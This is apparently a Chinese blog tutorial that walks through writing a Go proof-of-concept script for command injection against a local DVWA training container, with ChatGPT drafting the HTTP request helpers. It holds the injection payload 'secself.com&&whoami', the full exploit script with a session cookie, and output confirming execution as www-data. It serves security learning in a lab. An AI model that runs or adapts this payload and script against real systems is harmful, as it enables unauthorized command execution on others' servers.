一个POC的诞生，再见，脚本小子

最新推荐文章于 2024-06-21 14:35:10 发布

助安社区

最新推荐文章于 2024-06-21 14:35:10 发布

阅读量284

点赞数

文章标签： golang web安全网络安全安全威胁分析

本文链接：https://blog.csdn.net/sechelper/article/details/130568914

版权

hello，大家好我是你们的坤哥，聊聊安全绕不开的话题POC（漏洞概念验证），只知道拿着工具扫的你，尝试过自己写POC吗？

看坤哥极限拉扯你和大手子之间的差距。

配合B站视频观看更佳：

POC（漏洞概念验证脚本）诞生全过程，有手就能写，ChatGPT辅助写POC_哔哩哔哩_bilibili

启动靶场

靶场使用的是DVWA，借助Docker一键启动靶场。

$ sudo docker pull vulnerables/web-dvwa
$ sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa
[+] Starting mysql...
[ ok ] Starting MariaDB database server: mysqld.
[+] Starting apache
[....] Starting Apache httpd web server: apache2AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
. ok 
==> /var/log/apache2/access.log <==

==> /var/log/apache2/error.log <==
[Mon May 08 13:04:56.685132 2023] [mpm_prefork:notice] [pid 306] AH00163: Apache/2.4.25 (Debian) configured -- resuming normal operations
[Mon May 08 13:04:56.685222 2023] [core:notice] [pid 306] AH00094: Command line: '/usr/sbin/apache2'

==> /var/log/apache2/other_vhosts_access.log <==

Command Injection

登入DVWA后找到Command Injection

使用Payload触发漏洞，输入框内填入secself.com&&whoami

目前为止已经可以手动测试出漏洞，怎么批量去检测这个同类型漏洞呢？

POC编写思路

从刚才的动作思考一下，浏览器输入网址->回车->页面展示，这几个动作在代码里应该是什么样子的？

代码请求网址，拿到响应信息
处理响应信息，匹配关键信息检测出漏洞是否存在？

请求URL地址

按照上面思路，使用Go语言发起Http请求并取得结果。

emm... 感觉很难，完全没思路。

祭出ChatGPT，开始整活

确定ChatGPT角色，方便后续提问。

我们来玩个游戏，你现在是Go语言网络安全脚本专家

好的，我会尽力扮演好这个角色。请问你有什么问题或任务需要我完成吗？

帮我写一个发送http POST请求的函数，请求体是form表单
好的，以下是一个简单的Go语言函数，用于发送HTTP POST请求，请求体为form表单格式：

go
import (
    "net/http"
    "net/url"
    "strings"
)

func sendFormPostRequest(url string, formData url.Values) (*http.Response, error) {
    // 构建HTTP客户端
    client := &http.Client{}

    // 将表单数据编码为URL编码格式，并创建一个新的请求体
    requestBody := strings.NewReader(formData.Encode())

    // 创建POST请求
    request, err := http.NewRequest("POST", url, requestBody)
    if err != nil {
        return nil, err
    }

    // 设置请求头信息
    request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    // 发送请求并返回响应结果
    response, err := client.Do(request)
    if err != nil {
        return nil, err
    }

    return response, nil
}

使用示例：

go
// 定义表单数据
formData := url.Values{}
formData.Set("username", "john")
formData.Set("password", "123456")

// 发送POST请求
response, err := sendFormPostRequest("http://example.com/login", formData)
if err != nil {
    // 处理错误
}

// 读取响应数据
body, err := ioutil.ReadAll(response.Body)
if err != nil {
    // 处理错误
}

// 关闭响应体
defer response.Body.Close()

// 输出响应结果
fmt.Println(string(body))

上面代码已经可以发出HTTP请求，整理成咱们可用的代码如下：

package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

// 发送一个POST请求
func sendFormPostRequestWithCookie(url string, formData url.Values) (*http.Response, error) {
	// 构建HTTP客户端
	client := &http.Client{}

	// 将表单数据编码为URL编码格式，并创建一个新的请求体
	requestBody := strings.NewReader(formData.Encode())

	// 创建POST请求
	request, err := http.NewRequest("POST", url, requestBody)
	if err != nil {
		return nil, err
	}

	// 设置请求头信息
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	// 发送请求并返回响应结果
	response, err := client.Do(request)
	if err != nil {
		return nil, err
	}

	return response, nil
}

func main() {
	formData := url.Values{}
	// ip=secself.com%26%26whoami&Submit=Submit
	formData.Set("ip", "secself.com&&whoami")
	formData.Set("Submit", "Submit")

	// 发送POST请求
	response, err := sendFormPostRequestWithCookie("http://192.168.111.133/vulnerabilities/exec/",
		formData)
	if err != nil {
		// 处理错误
	}

	// 读取响应数据
	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		// 处理错误
	}

	// 关闭响应体
	defer response.Body.Close()

	// 输出响应结果
	fmt.Println(string(body))
}

解决认证问题

上面代码出现一个问题，请求这个接口的时候需要登入，后台直接将咱们重定向到登入界面，这怎么检查呢？

看会坤哥视频冷静冷静

坤哥，果然管用，加个Cookie是不是就解决这个事了

继续，祭出ChatGPT

加上cookie认证
好的，以下是加上cookie认证的Go语言函数，用于发送HTTP POST请求，请求体为form表单格式，并且带有cookie认证：

go
import (
    "net/http"
    "net/url"
    "strings"
)

func sendFormPostRequestWithCookie(url string, formData url.Values, cookieName string, cookieValue string) (*http.Response, error) {
    // 构建HTTP客户端
    client := &http.Client{}

    // 将表单数据编码为URL编码格式，并创建一个新的请求体
    requestBody := strings.NewReader(formData.Encode())

    // 创建POST请求
    request, err := http.NewRequest("POST", url, requestBody)
    if err != nil {
        return nil, err
    }

    // 设置请求头信息
    request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    // 设置Cookie信息
    cookie := &http.Cookie{Name: cookieName, Value: cookieValue}
    request.AddCookie(cookie)

    // 发送请求并返回响应结果
    response, err := client.Do(request)
    if err != nil {
        return nil, err
    }

    return response, nil
}

使用示例：

go
// 定义表单数据
formData := url.Values{}
formData.Set("username", "john")
formData.Set("password", "123456")

// 定义cookie信息
cookieName := "auth_token"
cookieValue := "abcdefg123456789"

// 发送POST请求
response, err := sendFormPostRequestWithCookie("http://example.com/login", formData, cookieName, cookieValue)
if err != nil {
    // 处理错误
}

// 读取响应数据
body, err := ioutil.ReadAll(response.Body)
if err != nil {
    // 处理错误
}

// 关闭响应体
defer response.Body.Close()

// 输出响应结果
fmt.Println(string(body))

代码简化

ChatGPT有时写的代码需要简化（甚至有时候，一本正经的胡说八道，大家注意区分），将参数cookieName和cookieValue替换成cookie一个就够，函数里也需要对应修改。完整代码如下：

package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

// 发送一个POST请求
func sendFormPostRequestWithCookie(url string, formData url.Values, cookie string) (*http.Response, error) {
	// 构建HTTP客户端
	client := &http.Client{}

	// 将表单数据编码为URL编码格式，并创建一个新的请求体
	requestBody := strings.NewReader(formData.Encode())

	// 创建POST请求
	request, err := http.NewRequest("POST", url, requestBody)
	if err != nil {
		return nil, err
	}

	// 设置请求头信息
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	request.Header.Set("Cookie", cookie)

	// 发送请求并返回响应结果
	response, err := client.Do(request)
	if err != nil {
		return nil, err
	}

	return response, nil
}

func main() {
	formData := url.Values{}
	// ip=secself.com%26%26whoami&Submit=Submit
	formData.Set("ip", "secself.com&&whoami")
	formData.Set("Submit", "Submit")

	// 发送POST请求
	response, err := sendFormPostRequestWithCookie("http://192.168.111.133/vulnerabilities/exec/",
		formData, "ph_whrt8_XCHW635Gq2UKtlOIVLOdjuhZVyy3UE-z-SYZc_posthog=%7B%22distinct_id%22%3A%22live_23885937%22%2C%22%24device_id%22%3A%22187bc37adb8b3a-068681b057d3b-d565429-384000-187bc37adb9602%22%2C%22%24user_id%22%3A%22live_23885937%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%7D; PHPSESSID=un16srgnuabvgfg0t7n32k6506; security=low")
	if err != nil {
		// 处理错误
	}

	// 读取响应数据
	body, err := ioutil.ReadAll(response.Body)
	if err != nil {
		// 处理错误
	}

	// 关闭响应体
	defer response.Body.Close()

	// 输出响应结果
	fmt.Println(string(body))
}

使用Golang编译器，成功输出如下结果：

...
</p>

                </form>
                <pre>PING secself.com (182.92.106.58): 56 data bytes
64 bytes from 182.92.106.58: icmp_seq=0 ttl=127 time=18.381 ms
64 bytes from 182.92.106.58: icmp_seq=1 ttl=127 time=17.445 ms
64 bytes from 182.92.106.58: icmp_seq=2 ttl=127 time=17.546 ms
64 bytes from 182.92.106.58: icmp_seq=3 ttl=127 time=17.140 ms
--- secself.com ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 17.140/17.628/18.381/0.460 ms
www-data
</pre>
        </div>
...